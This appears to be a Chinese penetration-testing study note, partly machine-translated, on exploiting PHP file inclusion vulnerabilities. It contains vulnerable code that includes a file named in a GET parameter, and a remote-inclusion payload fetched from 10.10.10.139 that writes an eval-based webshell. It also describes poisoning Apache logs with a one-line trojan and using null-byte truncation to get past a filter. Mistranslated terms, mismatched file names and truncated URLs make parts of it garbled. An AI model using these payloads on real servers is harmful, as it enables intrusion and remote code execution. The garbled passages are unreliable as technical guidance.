大多数Web语言只能使用文件包含操作。 PHP语言提供的文件包含功能比较强大且灵活,因此PHP语言中经常会出现包含漏洞。但包含漏洞的不仅仅是PHP语言
PHP 包含
四大功能:
include()、include_once()、require()、require()_once
本地包含:
测试一
ArrayUtil.php:
<?php
function PrintArr($arr,$sp="-->",$lin="
"){
foreach($arr as $key => $value){
echo "$key $sp $value $lin";
}
}
?>
测试.php:
<?php
include("ArrayUtil.php"); #包含文件ArrayUtil.php
$arr = array("张三","李四","王五");
PrintArr($arr,"==>");
?>
使用权:
测试二
phpinfo.txt:
测试.php:
<?php
include("phpinfo.txt");
?>
遥控器包含:
需要开启php.ini中的allow_url_include选项
测试
你好.php:
<?php
echo "Hello world!!"
?>
测试.php:
<?php
include($_GET['page']);
?>
://127.0.0.1/hello.php
其中,将hello.php的后缀名替换为txt等其他格式的后缀,也可以成功实现远程包含
如果攻击者输入不存在的文件php文件包含漏洞,PHP就会报错,错误信息中会透露网站的根目录
几种常见的力量攻击形式
读取敏感文件
远程包含 shell
测试.php:
<?php
include($_GET['page']);
?>
ehco.txt:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST["hummer"]);?>")?>
://10.10.10.139/echo.txt
但是可以在远程主机上写一句话,通过远程包含,砍刀或者蚁剑也可以连接
:
蚁剑连接://10.10.10.139/echo.txt
测试成功!
配合文件上传
上传图片、txt等格式的文件,包含在文件中,作为php代码执行。
使用 PHP 封装合约
包含 Apache 日志文件
Apache运行后通常会默认生成两个日志文件(access.log和error.log),分别记录客户端的每个请求以及服务器响应的相关信息。
当找不到包含的文件时,我们可以自己构建 Apache 日志,并将我们的一句话木马写入其中:
先提出请求:
检查日志:
[外部链接图像传输失败。 源站可能有防盗链机制。 建议保存图片直接上传(img-aUoTNGFS-1647996321498)(E:学习笔记渗透测试学习笔记渗透测试.assetsa2fSd89XFbHtvUK.png)]
发现是浏览器手动转码的
为了避免被编码,可以使用BurpSute绕过编码:
再次查看Apache日志:
编码已成功绕过
截断包含
在许多情况下,程序员通过修复扩展来修复 PHP 包含漏洞。
代码片段如下:
<?php
if(isset($_GET['page'])){
include $_GET['page']."php";
}
else{
include 'home.php';
}
?>
虽然这样可以抵御一些攻击php文件包含漏洞,但并没有真正修复漏洞。 攻击者仍然可以通过截断来突破此代码。
此方法仅适用于 magic_quotes_gpc 关闭时。 当PHP开启magic_quotes_gpc时,NULL()将被通配。